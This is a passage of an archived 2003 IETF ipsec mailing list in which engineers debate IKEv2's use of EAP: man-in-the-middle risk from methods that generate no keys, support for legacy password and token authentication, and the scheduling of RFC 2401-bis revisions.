11z0CFehVXAaNkHZ0i5yTnP3wjDMFOQq9j2ULBZAnntsozJVLUD+7pqbUqF4uIY+ 2f+jdT2REH8= =wV27 -----END PGP SIGNATURE----- From owner-ipsec@lists.tislabs.com Tue Aug 19 08:56:53 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7JFurqt006869; Tue, 19 Aug 2003 08:56:53 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA27932 Tue, 19 Aug 2003 11:10:55 -0400 (EDT) To: ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues In-reply-to: Your message of "Mon, 18 Aug 2003 21:59:55 PDT." <20030819045955.GK27057@binky.central.sun.com> Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Tue, 19 Aug 2003 11:18:33 -0400 Message-ID: <27415.1061306313@marajade.sandelman.ottawa.on.ca> From: Michael Richardson Sender: owner-ipsec@lists.tislabs.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Nicolas" == Nicolas Williams writes: Nicolas> For challenge/response token EAPs one could define a challenge Nicolas> based on some derivative of the key exchange. Thus the client Nicolas> could verify that the challenge corresponds to the KE and the Nicolas> server could verify that the response corresponds to the Nicolas> challenge and if both check out then the KE is authenticated. There is a key thing that you should realize: in general, the responder (aka "gateway") won't be able to derive the appropriate response itself. i.e. we can't do something like CHAP. The reason is that the gateway will likely have to provide the literal reply via EAP/Radius to another machine for checking. I'm not certain what systems your proposal would work for. Not SecureID, not X9.9, not passwords-over-radius. ] Out and about in Ottawa. hmmm... beer. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian/notebook using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Finger me for keys - custom hacks make this fully PGP2 compat iQCVAwUBP0I/yIqHRg3pndX9AQEG0gQAvebuW2tKZrO/DJ7Wp+azOJA5+fePy+BM qC75cqYwyLoRklFwWNT3GmAwQCOa3iX5iBFFB/o6z6Zj6xbcfZqWZOdPnz0lMpOb aGo3vwGL8kknYB6a+pxZZL1Vf50SnkASBL3Bp2Ss3akvFlLelhLw+3jXu7M2n+f/ aywNPkYq6v4= =Xn0O -----END PGP SIGNATURE----- From owner-ipsec@lists.tislabs.com Tue Aug 19 11:13:08 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7JID8qt016278; Tue, 19 Aug 2003 11:13:08 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA12392 Tue, 19 Aug 2003 13:27:04 -0400 (EDT) Date: Tue, 19 Aug 2003 10:31:18 -0700 From: Nicolas Williams To: Michael Richardson Cc: ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues Message-ID: <20030819173118.GX27057@binky.central.sun.com> References: <20030819045955.GK27057@binky.central.sun.com> <27415.1061306313@marajade.sandelman.ottawa.on.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <27415.1061306313@marajade.sandelman.ottawa.on.ca> User-Agent: Mutt/1.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Tue, Aug 19, 2003 at 11:18:33AM -0400, Michael Richardson wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > > >>>>> "Nicolas" == Nicolas Williams writes: > Nicolas> For challenge/response token EAPs one could define a challenge > Nicolas> based on some derivative of the key exchange. Thus the client > Nicolas> could verify that the challenge corresponds to the KE and the > Nicolas> server could verify that the response corresponds to the > Nicolas> challenge and if both check out then the KE is authenticated. > > There is a key thing that you should realize: in general, the responder > (aka "gateway") won't be able to derive the appropriate response itself. > > i.e. we can't do something like CHAP. > > The reason is that the gateway will likely have to provide the literal > reply via EAP/Radius to another machine for checking. > > I'm not certain what systems your proposal would work for. > Not SecureID, not X9.9, not passwords-over-radius. The challenge function would have to be modified in those systems - it's not applicable only at the responder. This means that the responder would have to be able to pass the "session ID" to the token system that generates the challenge, so not only would existing systems have to change, existing interfaces would have to change. And initators would have to be able to verify that the challenge is derived from or bound to the "session ID." Large changes indeed. That's why I said "[some]" in one post - I couldn't say that this applies easily to any one challenge/response token system, not with any useful degree of certainty. (I did have a challenge/response system like SafeWord's in mind though.) The situation could change in the future though (that is, implementors could follow the spec in this case, rather than the spec follow the implementors). I did also own up to my ulterior motive for offering this :) Cheers, Nico -- From owner-ipsec@lists.tislabs.com Tue Aug 19 11:58:04 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7JIw4qt018376; Tue, 19 Aug 2003 11:58:04 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA15023 Tue, 19 Aug 2003 13:56:28 -0400 (EDT) To: Yoav Nir cc: ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues In-reply-to: Your message of "Tue, 19 Aug 2003 10:23:06 +0300." Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Tue, 19 Aug 2003 14:03:54 -0400 Message-ID: <30952.1061316234@marajade.sandelman.ottawa.on.ca> From: Michael Richardson Sender: owner-ipsec@lists.tislabs.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Yoav" == Yoav Nir writes: Yoav> As many times as I read that article, I can't see how this is a Yoav> problem. It makes a very strong assumption, that EAP methods are Yoav> used outside of secure tunnels. IMO this is not true: Sure it is, because the problem is not just with non-private uses, but with the end points as well. The point of having that radius-backed token system is that you are using it for multiple system. The extranet web site would apply. Your assumption is that every system that is authenticating users is equally trusted. You are assuming that the end point of the "secure tunnels" are trusted. That is, if you are using EAP to authenticate to your "extranet" as well as your IPsec, then a compromise of *either* system will compromise both if you are using non-kg EAP. This is worse if you have some kind of non-kg EAP system that has multiple mutually distrusting parties involved. I can easily imagine roaming dialup ISP stuff, which is all based upon radius proxy that would be involved. Yoav> servers, or to connect from home or while on the road. You do not Yoav> use it from home to do things that are not related to IKE. When at Might be true for username/password, but it isn't true about physical tokens, which are expensive, and the point of "legacy auth" is that people want to amortize that token across more uses. Yoav> work, you log on to the Windows domain controller or to some RADIUS Yoav> server, but you do not use EAP. The only cases where you actually How do you know that the domain controller isn't using EAP? ] Out and about in Ottawa. hmmm... beer. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian/notebook using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Finger me for keys - custom hacks make this fully PGP2 compat iQCVAwUBP0JmiIqHRg3pndX9AQGBQAQAmwheLXX1W73QKMuV448vhTdeDkEqUHD2 u1TzXFYpvGA0blfoAB6aNVnQuqJcm5V5ZKSYJjb1hxM4NIlAoaePTvRAXz8Kb2GD ncYT6vMLqDPK6q1gFX0L7iwKC5hCQjbiKcQvnhxVe4GBCHUQMNqM8dlwGRaXLAcg tGWGjCuW9Ys= =3twK -----END PGP SIGNATURE----- From owner-ipsec@lists.tislabs.com Tue Aug 19 12:23:17 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7JJNGqt019346; Tue, 19 Aug 2003 12:23:16 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA12120 Tue, 19 Aug 2003 13:24:02 -0400 (EDT) Date: Tue, 19 Aug 2003 13:24:02 -0400 (EDT) From: owner-ipsec@lists.tislabs.com Message-Id: <200308191724.NAA12120@lists.tislabs.com> (stealth-10-32-244-18.cisco.com [10.32.244.18]) by sj-core-4.cisco.com (8.12.6/8.12.6) with SMTP id h7JHIhAj004572; Tue, 19 Aug 2003 10:18:44 -0700 (PDT) Message-Id: <4.3.2.7.2.20030819095833.024a98b8@mira-sjc5-4.cisco.com> X-Sender: byfraser@mira-sjc5-4.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 19 Aug 2003 10:18:23 -0700 To: skent@bbn.com, kseo@bbn.com From: Barbara Fraser Subject: Fwd: Moving forward on RFC 2401-bis Cc: ipsec@lists.tislabs.com, angelos@cs.columbia.edu, kivinen@ssh.fi, byfraser@cisco.com, tytso@mit.edu, Russ Housley Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_138072878==_.ALT" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --=====================_138072878==_.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed Hi Steve and Karen, This is a friendly ping-o-gram regarding our note to you a week ago. We would very much appreciate it if you could take a look at the issues in the issue tracker, check to see that we've captured all your suggested changes, and provide to the list a brief description for each issue, submitting each issue as a separate thread to the wg. At the moment, many of the issues are single sentences that don't convey enough information for the wg to fully understand what is being suggested. We would also like to request a time estimate for when you expect to provide these issue descriptions/rationales to the list. This is the last major work item for the working group and we would like to complete it in the very near future. thanks, Barb and Ted >To: skent@bbn.com, kseo@bbn.com >cc: ipsec@lists.tislabs.com >Cc: angelos@cs.columbia.edu, kivinen@ssh.fi, byfraser@cisco.com >Subject: Moving forward on RFC 2401-bis >From: "Theodore Ts'o" >Phone: (781) 391-3464 >Date: Tue, 12 Aug 2003 12:25:11 -0400 >Sender: owner-ipsec@lists.tislabs.com > >Hi Steve, Karen. > >We'd like to thank you for your excellent work in preparing the list of >issues and proposed changes/updates to RFC 2401. Hopefully the members >of the IPSEC working group have had time to read over these lists we've >had a week or two of unstructured discussion over the changes to the >IPSEC processing model. > >However, it is now time that we go through each of the changes in a >slightly more structured format. To that end, Angelos has taken your >initial list of proposed changes and put them into the Roundup issues >tracker: > > https://roundup.machshav.com/ipsec > >We would appreciate it if you could look over the list of changes let us >know if they are complete. Then, if you could prepare a paragraph or >two for each proposed change, so the working group can consider each >change one at a time. We would like to quickly, but explicitly have the >working group approve each change to RFC 2401, one at a time. > >As a suggestion, we believe that issues #48 and #47 which is related to >the addition/changes of traffic selectors in IKEv2, be worked on first, >since they affect the IKEv2 document which is being finalized. (As a >reminder, we wll not add traffic selectors for ToS in IKEv2 --- see >issue #16 --- unless we come to consensus that they should be added in >the architecture document. If IKEv2 is published before we come to >consensus on issue #48, and issue #48 is adopted, this can always be >fixed by a supplemental RFC which documents the new TOS traffic >selector. But this is a reason why we suggest that issue #48 be tackled >first.) > >If you could post an short e-mail summarizing the costs and benefits of >adopting the TOS Traffic Selectors to the ipsec mailing list at your >earliest convenient to start discussion on that change, we would greatly >appreciate it. Hopefully we will be able to come to consensus on all of >the changes to RFC 2401 with dispatch. > > - Ted and Barbara --=====================_138072878==_.ALT Content-Type: text/html; charset="us-ascii" Hi Steve and Karen,

This is a friendly ping-o-gram regarding our note to you a week ago. We would very much appreciate it if you could take a look at the issues in the issue tracker, check to see that we've captured all your suggested changes, and provide to the list a brief description for each issue, submitting each issue as a separate thread to the wg.  At the moment, many of the issues are single sentences that don't convey enough information for the wg to fully understand what is being suggested.

We would also like to request a time estimate for when you expect to provide these issue descriptions/rationales to the list.  This is the last major work item for the working group and we would like to complete it in the very near future.

thanks,
Barb and Ted



To: skent@bbn.com, kseo@bbn.com
cc: ipsec@lists.tislabs.com
Cc: angelos@cs.columbia.edu, kivinen@ssh.fi, byfraser@cisco.com
Subject: Moving forward on RFC 2401-bis
From: "Theodore Ts'o" <tytso@mit.edu>
Phone: (781) 391-3464
Date: Tue, 12 Aug 2003 12:25:11 -0400
Sender: owner-ipsec@lists.tislabs.com

Hi Steve, Karen.

We'd like to thank you for your excellent work in preparing the list of
issues and proposed changes/updates to RFC 2401.  Hopefully the members
of the IPSEC working group have had time to read over these lists we've
had a week or two of unstructured discussion over the changes to the
IPSEC processing model.

However, it is now time that we go through each of the changes in a
slightly more structured format.  To that end, Angelos has taken your
initial list of proposed changes and put them into the Roundup issues
tracker:

                https://roundup.machshav.com/ipsec

We would appreciate it if you could look over the list of changes let us
know if they are complete.  Then, if you could prepare a paragraph or
two for each proposed change, so the working group can consider each
change one at a time.  We would like to quickly, but explicitly have the
working group approve each change to RFC 2401, one at a time.

As a suggestion, we believe that issues #48 and #47 which is related to
the addition/changes of traffic selectors in IKEv2, be worked on first,
since they affect the IKEv2 document which is being finalized.  (As a
reminder, we wll not add traffic selectors for ToS in IKEv2 --- see
issue #16 --- unless we come to consensus that they should be added in
the architecture document.  If IKEv2 is published before we come to
consensus on issue #48, and issue #48 is adopted, this can always be
fixed by a supplemental RFC which documents the new TOS traffic
selector.  But this is a reason why we suggest that issue #48 be tackled
first.)

If you could post an short e-mail summarizing the costs and benefits of
adopting the TOS Traffic Selectors to the ipsec mailing list at your
earliest convenient to start discussion on that change, we would greatly
appreciate it.  Hopefully we will be able to come to consensus on all of
the changes to RFC 2401 with dispatch.

                                        - Ted and Barbara
--=====================_138072878==_.ALT-- From owner-ipsec@lists.tislabs.com Tue Aug 19 13:55:57 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7JKtuqt025998; Tue, 19 Aug 2003 13:55:57 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA00564 Tue, 19 Aug 2003 16:03:45 -0400 (EDT) To: Nicolas Williams cc: ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues In-reply-to: Your message of "Tue, 19 Aug 2003 10:31:18 PDT." <20030819173118.GX27057@binky.central.sun.com> Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Tue, 19 Aug 2003 16:11:19 -0400 Message-ID: <2097.1061323879@marajade.sandelman.ottawa.on.ca> From: Michael Richardson Sender: owner-ipsec@lists.tislabs.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Nicolas" == Nicolas Williams writes: >> i.e. we can't do something like CHAP. >> >> The reason is that the gateway will likely have to provide the literal >> reply via EAP/Radius to another machine for checking. >> >> I'm not certain what systems your proposal would work for. Not >> SecureID, not X9.9, not passwords-over-radius. Nicolas> The challenge function would have to be modified in those Nicolas> systems - it's not applicable only at the responder. This means I wish it were that simple, but the tokens and servers are out of our control. ] Out and about in Ottawa. hmmm... beer. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian/notebook using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Finger me for keys - custom hacks make this fully PGP2 compat iQCVAwUBP0KEZoqHRg3pndX9AQGECgP/cl1uEjjV2J42H8jdqPL1yMVCv/i3Egqz mqBDtKUr3iLnnMD5+APrqEMfam1qjjHKOtwkvmbpn5iURvxU7PgrwlCiSNJEnDpK rqU4c8CDDRjO0qdIQyVRcnvfBGjRZEr/wAlnEdzX1h6LIe/z7KtU0nzSuiAJcDCS shQm9xguyEU= =Pr14 -----END PGP SIGNATURE----- From owner-ipsec@lists.tislabs.com Tue Aug 19 14:01:42 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7JL1dqt026253; Tue, 19 Aug 2003 14:01:41 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA00318 Tue, 19 Aug 2003 16:01:58 -0400 (EDT) Message-ID: <3F428364.3040101@kolumbus.fi> Date: Tue, 19 Aug 2003 23:07:00 +0300 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en MIME-Version: 1.0 To: ipsec@lists.tislabs.com Cc: "Theodore Ts'o" , "Puthenkulam, Jose P" Subject: EAP-IKEv2 MITM prevention (Was: Re: The remaining IKEv2 issues) References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk I'd like to turn your attention to a document we are developing in the EAP WG. "The Compound Authentication Binding Problem" discusses the MITM problem which affects IKEv2 as well as a number of other protocols such as PIC, PEAP, or even HTTP Digest inside TLS. The document includes alternative solutions and a discussion of their properties. It may be useful reading in terms of the the IKEv2 EAP MITM discussion. The document is work in progress; the authors feel that its more or less done, but it has not been very widely reviewed. So, we'd be very happy if some members of this WG could review the document, particularly in the context of IKEv2. Here's the URL: http://www.ietf.org/internet-drafts/draft-puthenkulam-eap-binding-03.txt Thanks, Jari Arkko (Co-chair of the EAP WG) From owner-ipsec@lists.tislabs.com Tue Aug 19 15:11:47 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7JMBkqt032968; Tue, 19 Aug 2003 15:11:46 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id RAA10268 Tue, 19 Aug 2003 17:12:49 -0400 (EDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16194.38000.3727.78988@thomasm-u1.cisco.com> Date: Tue, 19 Aug 2003 14:19:44 -0700 (PDT) To: Michael Richardson Cc: Yoav Nir , ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues In-Reply-To: <30952.1061316234@marajade.sandelman.ottawa.on.ca> References: <30952.1061316234@marajade.sandelman.ottawa.on.ca> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Sorry if I've lamely missed this, but can somebody in a nutshell describe the attack here? I'm not quite groking what's being discussed here... Mike Michael Richardson writes: > -----BEGIN PGP SIGNED MESSAGE----- > > > >>>>> "Yoav" == Yoav Nir writes: > Yoav> As many times as I read that article, I can't see how this is a > Yoav> problem. It makes a very strong assumption, that EAP methods are > Yoav> used outside of secure tunnels. IMO this is not true: > > Sure it is, because the problem is not just with non-private uses, but > with the end points as well. > > The point of having that radius-backed token system is that you are using > it for multiple system. The extranet web site would apply. Your assumption > is that every system that is authenticating users is equally trusted. > > You are assuming that the end point of the "secure tunnels" are trusted. > That is, if you are using EAP to authenticate to your "extranet" as well > as your IPsec, then a compromise of *either* system will compromise both > if you are using non-kg EAP. > > This is worse if you have some kind of non-kg EAP system that has multiple > mutually distrusting parties involved. I can easily imagine roaming dialup > ISP stuff, which is all based upon radius proxy that would be involved. > > Yoav> servers, or to connect from home or while on the road. You do not > Yoav> use it from home to do things that are not related to IKE. When at > > Might be true for username/password, but it isn't true about physical > tokens, which are expensive, and the point of "legacy auth" is that people > want to amortize that token across more uses. > > Yoav> work, you log on to the Windows domain controller or to some RADIUS > Yoav> server, but you do not use EAP. The only cases where you actually > > How do you know that the domain controller isn't using EAP? > > ] Out and about in Ottawa. hmmm... beer. | firewalls [ > ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ > ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ > ] panic("Just another Debian/notebook using, kernel hacking, security guy"); [ > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.2 (GNU/Linux) > Comment: Finger me for keys - custom hacks make this fully PGP2 compat > > iQCVAwUBP0JmiIqHRg3pndX9AQGBQAQAmwheLXX1W73QKMuV448vhTdeDkEqUHD2 > u1TzXFYpvGA0blfoAB6aNVnQuqJcm5V5ZKSYJjb1hxM4NIlAoaePTvRAXz8Kb2GD > ncYT6vMLqDPK6q1gFX0L7iwKC5hCQjbiKcQvnhxVe4GBCHUQMNqM8dlwGRaXLAcg > tGWGjCuW9Ys= > =3twK > -----END PGP SIGNATURE----- From owner-ipsec@lists.tislabs.com Tue Aug 19 15:19:20 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7JMJKqt033559; Tue, 19 Aug 2003 15:19:20 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id RAA13624 Tue, 19 Aug 2003 17:37:37 -0400 (EDT) To: ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues In-reply-to: Your message of "Tue, 19 Aug 2003 14:19:44 PDT." <16194.38000.3727.78988@thomasm-u1.cisco.com> Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Tue, 19 Aug 2003 17:45:11 -0400 Message-ID: <4290.1061329511@marajade.sandelman.ottawa.on.ca> From: Michael Richardson Sender: owner-ipsec@lists.tislabs.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Matt, go back a couple of messages. http://www.sandelman.ca/ipsec/2003/08/msg00077.html and: http://www.sandelman.ca/ipsec/2003/05/msg00003.html specifically: http://www.sandelman.ca/ipsec/2003/05/msg00074.html I can't find the scenario that was proposed. I think it is in the original paper? ] Out and about in Ottawa. hmmm... beer. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian/notebook using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Finger me for keys - custom hacks make this fully PGP2 compat iQCVAwUBP0KaZoqHRg3pndX9AQF41gQA6XsMWI4jc1/aGd1g65lZIAs+592rBvoA hoXiELxevgrU6X36mRYp2jBobOJCcHFTd+z4N25hDHl9ZNwpmXrcgH0UUKqd801+ JsGdvjBhVwDzoj9VjykC8h48f64YITkSe0kyQhP+8iaw5hUCe6Y/NDb0Er2o6oLM 6geoXzvWgM0= =qfhe -----END PGP SIGNATURE----- From owner-ipsec@lists.tislabs.com Tue Aug 19 16:42:30 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7JNg1qt037356; Tue, 19 Aug 2003 16:42:29 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id SAA25077 Tue, 19 Aug 2003 18:35:43 -0400 (EDT) Message-ID: <3F42A76A.1050800@kolumbus.fi> Date: Wed, 20 Aug 2003 01:40:42 +0300 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Theodore Ts'o" , ipsec@lists.tislabs.com Cc: smb@research.att.com, Charlie_Kaufman@notesdev.ibm.com, Bernard Aboba Subject: EAP-IKEv2 MITM prevention (Was: Re: The remaining IKEv2 issues) References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk A few days before this thread on the mailing list, we had an off-line discussion about the IKEv2 problem with Charlie, Bernard Aboba, and myself. I thought I'd summarize what was said in that discussion: * The primary discussion is whether the non-kg methods should be allowed. See NON-KG METHODS below. We did not come to a specific conclusion in this discussion, but Bernard and myself felt that non-kg methods should not be allowed, kg variants of "legacy" methods exist and that sufficient support already exists in common RADIUS servers etc so that there's no real reason to support non-kg methods. We also felt that the primary requirement for support of legacy is to avoid redistributing new credentials for users. This can be avoided, new kg methods can use old non-kg credentials. Charlie felt that it is more important to ensure support for legacy authentication infrastructure, and in his opinion this is more widespread than what we believed. It seems that the primary disagreement is about the extent legacy authentication infrastructure really exists vs. the threat posed by the MITM attacks. * A related issue is what exactly is the IKEv2 requirement for "username and password" authentication, and whether the currently planned use of such authentication is proper for EAP. See USERNAME AND PASSWORD AUTH below. This partly a debate of what requirements there are for EAP methods, and how existing methods satisfy those requirements. Bernard argues that EAP should not be used for cleartext passwords, and that EAP OTP or GTC should not be used in this manner. One of the problems with this is that if a RADIUS backend were to be used, the passwords might be exposed since common RADIUS implementations may not use encryption for sending the messages to the server. (Recently approved RFC 2869bis upgrades IPsec support in RADIUS to a SHOULD, but its still not a MUST.) Charlie argues that the requirement is a username/password authentication, in its simple form. He felt that if this can't be done in EAP, it needs to be added to IKEv2 explicitly. * In addition, the IKEv2 document currently disagrees with the way the EAP keying framework wants EAP keys to be used, when a key-generating method is used. See KEY USAGE below. The problem is that the EAP keying framework specifies a key hierarchy, and link layers (or IKEv2) are expected to use a specific part in this key hierarchy. Currently, this is unspecified in IKEv2-10. Specifying it appears easy, and this should be done. Charlie, Bernard, feel free to correct/comment where necessary... NON-KG METHODS ============== Jari: We'd like to suggeste that only allow key generating methods be allowed. Such variants of currently existing non-kg methods are available, we think, for most or all practically available methods without requring a change to the already deployed credentials). Charlie: I don't believe it is a good idea. Perhaps you can convince me otherwise. I don't want to rule out EAP methods because EAP was explicitly added to support current and future "legacy" authentication methods. I would hate to see yet another method added to support methods we aren't allowed to use with EAP. Bernard: While RFC 2284 did include definition of "legacy" methods such as MD5-Challenge, OTP, and Generic Token Card, most of the methods created since then have been considerably more advanced, and most cannot be classified as "legacy." In fact, there is even an EAP-IKEv2 method being proposed! So overall I don't believe that the above characterization correclty describes today's uses of EAP. In practice, EAP today is largely focused on meeting the needs of wireless authentication such as IEEE 802.11, which does not permit use of "legacy" methods, and the general trend is toward phasing out these methods. In fact, I'd go so far as to say that there is no RADIUS server supporting EAP today that doesn't support at least some "non-legacy" methods, since that is required for 802.11 compatibility which is a practical necessity for most implementations. Token card vendors such as RSA now provide key-deriving EAP methods for their token cards. The bottom line is that the need for "legacy" methods is decreasing and there is no reason to require their support any more. Charlie: I think you're missing my point. EAP is expanding in some very positive ways. EAP with non-key-generating methods produces dramatically poorer security than EAP with key-generating methods, particular in the context of IKE. But the reason EAP was integrated into IKEv2 was not for any of those reasons. It was because IKEv2 had to support "username/password" authentication for backwards compatibility with deployed authentication infrastructures in spite of the fact that the security was going to suck. And some wise person said: "Rather than just supporting username/password, why don't you support EAP. That way, you get username/password when you have to and can migrate to better methods when people roll them out without updating the spec (though they will still have to update their implementations). It's a little extra work in the spec now to save us a lot later. But I don't think we can then turn around and tell them that they can't do username/password authentication. Even though it's not very secure. USERNAME AND PASSWORD AUTH =========================== Charlie: I am disappointed that EAP does not include simple user name and password, but am reassured that people assure me that you can do it by telling EAP it's a one time password. I don't believe it's cryptographically possible to do better than EAP in IKEv2 does if you assume the user has a password and the server holds a non-password equivalent and doesn't either infringe a patent or require periodic reset (as with OTP). I believe this case is important. Tell me how I'm wrong. Bernard: I think you're thinking about PPP authentication algorithms, not EAP. There are at least four EAP methods defined that fall into this category, including EAP MD5-Challenge (CHAP equivalent) and EAP LEAP, and two MS-CHAP variants, both of which do mutual authentication. There has also been an EAP SRP proposal that has been worked on off-and-on over the years. So I'm not clear what is missing. In practice, most modern RADIUS servers are not limited to a single non-password equivalent, since they are typically capable of interacting with an LDAP backend which can either store the password in encrypted form, or has an extensible schema capable of handling multiple non-password equivalent forms. For example, with EAP SRP it is necessary to store several additional parameters such as the generator and this is not an issue. In any case, even where a non-password equivalent is used, it is still possible to do mutual authentication and key derivation as is done in EAP LEAP and MS-CHAPv2. Similarly, token card vendors such as RSA now provide key-deriving EAP methods for their token cards. The bottom line is that the need for "legacy" methods is decreasing and there is no reason to require their support any more. Bernard: EAP does not include support for cleartext passwords, by design. EAP OTP is not for use with cleartext passwords. > I don't believe it's cryptographically possible to do better than EAP in > IKEv2 does if you assume the user has a password and the server holds a > non-password equivalent and doesn't either infringe a patent or require > periodic reset (as with OTP). I believe this case is important. Tell me > how I'm wrong. There is no EAP password-based authentication method that fits these assumptions. MD5-Challenge requires the server to hold the cleartext password. MS-CHAPv2 requires the server to hold a non-password equivalent, but does mutual authentication and generates a key. Charlie: Oh dear. It's possible that we've added EAP to IKE to support a case that EAP can't support. My reading of the spec (and I think I recall someone confirming it, though I don't remember who) was that a client that implemented authentication types (5) or (6) would display a server provided string to the user and then forward whatever the user typed to the server. If true, then a server could use either of these mechanisms to implement simple username and password authentication. It would be wrong, and out of the spirit of EAP, but it would work and people do it today. I didn't explicitly say so in the spec because it seemed politically incorrect, but that's what I expected people to do. I would be wrong about this if either of these mechanisms required mechanism specific processing in the client - like changing the wordy form of an OTP into the condensed form. But it didn't look like that was expected. If this isn't going to work, we need to know right away because people are counting on having a username/password authentication mechanism and if you can't do it with EAP we will have to add it explicitly. Jari: What exactly is the requirement? To support username/password authentication? We got that in the form of EAP MSCHAPv2, for instance. But it does more than you've been assuming so far, i.e. it also generates keys which would enable you to avoid the MitM attack. Or is the requirement to support token cards? As was mentioned by Bernard, there are EAP methods to support them as well. Bernard: You wrote: > My reading of the spec (and I think I recall someone confirming it, though > I don't remember who) was that a client that implemented authentication > types (5) or (6) would display a server provided string to the user and > then forward whatever the user typed 